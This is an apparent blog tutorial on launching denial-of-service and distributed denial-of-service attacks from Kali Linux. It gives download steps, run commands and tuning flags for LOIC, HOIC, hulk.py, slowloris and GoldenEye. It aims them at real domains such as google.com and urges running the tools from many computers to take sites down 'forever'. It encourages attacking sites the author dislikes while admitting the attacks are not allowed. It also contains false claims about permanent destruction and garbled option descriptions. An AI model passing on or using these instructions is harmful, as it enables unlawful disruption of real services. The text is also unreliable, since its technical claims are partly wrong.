It is very dangerous attack that is performed on a website server. DoS stands for denial of services and DDoS stand for distributed denial of service. In Dos or DDoS attack multiple requests are sent to a web server at a time. As a result server of website could not answer millions of requests at a time and server becomes down. If we perform Dos or DDoS on a server with high speed internet for a long time then website is destroyed completely forever. When we perform this attack by a single computer then it is called DoS attack. But when we perform this attack using multiple computers then it called DDoS attack. But for DoS or DDoS attack high speed internet connection and high power computers are required to send multiple request fast. Now if talk about that how to perform DoS are DDoS attack. There are many tools of kali Linux and windows that are used to perform DoS and DDoS attack on a web server. Here we will discuss five tools in kali Linux.
a) LOIC:
It stands for low orbit ion cannon. It work in graphical user interface mode. It sends multiple requests on a web server using multiple duplication ip addresses and help hacker to down the server of website. To run it mono development must be install in your kali Linux. You can install mono development by following commands.
(apt-get install monodevelop -y)
Now to use LOIC on kali Linux follow the following steps. Open your browser and type (loic download). At the top you will see a website named as (LOIC download|source forge.net), open it. Click on (download) and then click on (Download). The zip file will download in your kali Linux.
Open your (Downloads) folder and extract the zip file. Here (loic.exe) file will appear. (Open terminal here) and type the following command to run LOIC;
(mono LOIC.exe)
Then LOIC will open and you can use it.
To perform DoS or DDoS attack on a website paste the link of target website in front of (URL). Then click on (lock on) and ip address of target website will show. Enter the ip address in front of ip. Then set the (time out) between two requests for example 2. Then write the port on which you want to perform DoS or DDoS attack.
Then set the service like TCP, HTTP or UDP. After this set the number of attacks or threads per time, then click on (IMMA CHARGIN MAH LAZER) and DoS or DDoS attack will start and server of website will down.
DOS OR DDOS attack in LOIC
If you run LOIC on a same website different computers, laptops and mobile etc then server will down soon forever.
b) HOIC:
It stands for HIGH orbit ion cannon. It is also a tool of kali Linux that is used to perform DoS or DDoS attack on a website. It uses HTTP method for DoS attack. Like LOIC it is very useful and easy to use. It is higher version of LOIC that is used to destroy a website.
To use it mono development must be install in your kali Linux.
To use HOIC in kali Linux follow the following steps. Open your browser and search (hoic download). Open the website named as (high orbit ion cannon download|source forget.net).
Click on (Download) and the again click on (Download). Open your (Downloads) folder. Extract the zip file of HOIC. (Open terminal here).
To open the HOIC run the command.
(mono hoic2.1.exe)
To perform DoS or DDoS attack click plus (+) icon paste the link of website in box under the URL. Increase the power to (HIGH) level. Click on (Add). Increase the numbers of (threads) or attack level to high level like 1000 or 10000. Then click on (FIRE THE LAZER). Attack will start.
DOS OR DDOS attack in HOIC
If you will run HOIC from different computers server of website will down soon completely.
c) HULK.PY:
It is a python script that is used to perform DoS or DDoS attack on a website. It is very important tool and destroys the website completely. For this python2 must be installed in your kali Linux. To install hulk.py in our kali Linux run the command.
(git clone https://GitHub.com/grafov/hulk.git)
Then open the folder (hulk) in your kali Linux. Here you will see a file (hulk.py) (open terminal here). First gave permission to this file by command;
(chmod +x hulk.py)
Now to perform DoS attack run the command;
(python2 hulk.py + link of website) e.g. (python2 hulk.py https://www.google.com).
DoS attack will start and for DDoS attack run the hulk.py from different computers, as a result server of the website will down soon completely.
For high power DDoS attack you must run different tools from different computer you must run many tools on a same website. It will be more and more dangrerous for a website to destroy it.
d) SLOWLORIS:
It is also a python script that is used to perform DoS or DDoS attack on website to destroy it. It is very effective script. We can use it for DoS or DDoS attack but to run it python3 must be installed in your kali Linux.
To install slowloris in your kali Linux run the following commands;
(git clone https://GitHub.com/gkbrk/slowloris.git)
Then open the (slowloris) folder. Here you will see a file (slowloris.py). To run this file run the following command.
(python3 slowloris.py)
The main commands of slowloris are following.
TO SEE ALL OPTION OF SLOWLORIS:
(python3 slowloris.py -h)
TO PERFOM SIMPLE DDOS OR DOS ATTACK ON A WEBSITE:
(python3 slowloris.py + domain of website -p + port number)
(python3 slowloris.py example.com -p 80)
TO SET NUMBERS OF CONNECTION FOR REQUEST DURING DOS ATTACK:
(python3 slowloris.py + domain of website -p + port -s + socket numbers)
(python3 slowloris.py example.com -p 80 -s 5000)
TO USE HTTP METHOD FOR DOS ATTACK:
(python3 slowloris.py + domain of website -p + port --https)
(python3 slowloris.py example.com -p 80 --https)
TO SET A SPECIFIC TIME BETWEEN TWO REQUESTS DURING ATTACK:
(python3 slowloris.py + domain of website -p + port --sleeptime + time)
(python3 slowloris.py example.com -p 80 --sleeptime 2)
For effective DoS are DDoS attack you must be use mixture of different options, you must set low sleep time , higher socket numbers as 5000 and you must slowloris from different computers on same website.
DoS or DDoS attack is not allowed but we must use it to destroy the fake and sexy websites to save the people. So best of luck for DoS DDoS attack.
e) GOLDENEYE:
It is also a python script that is used for DoS and DDoS attack on a website. It is very good script and easy to use. We must use it for DoS and DDoS attack. To use it python3 must be install in your kali Linux run the following commands;
Then open the (goldeneye) folder. Here you will see a file (goldeneye.py). To run this file (open terminal here) and run the following commands;
(chmod + x goldeneye.py)
(python3 goldeneye.py).
Now we will discuss bout the main commands of GoldenEye:
TO SEE ALL OPTIONS OF GOLDENEYE:
(python3 goldeneye.py -h)
TO PERFOM DOS ATTACK:
(python3 goldeneye.py + link or url of website)
(python3 goldeneye.py https://www.google.com/)
TO SET WORKERS OR REQUEST SENDERS AND SOCKETS OR CONNECTION PER WORK FOR DOS:
(python3 goldeneye.py + link or url of website -w + worker number -s + socket numbers)
(python3 goldeneye.py https://www.google.com/ -w 500 -s 5000)
TO SET A SPECIFIC HTTP METHOD FOR DOS ATTACK:
(python3 goldeneye.py + link of website -m + method)
(python3 goldeneye.py https://www.google.com/ -m post)
TO BYPASS THE SSL CERTIFICATE CHECKING DURING DOS ATACK:
(python3 goldeneye.py + link of website -n)
(python3 goldeneye.py https://www.google.com/ -n)
You can mixture of commands also. For dangerous DDoS attack you must use higher numbers of workers and sockets to destroy a website and you must use goldeneye from different computers for a website to down its server fast.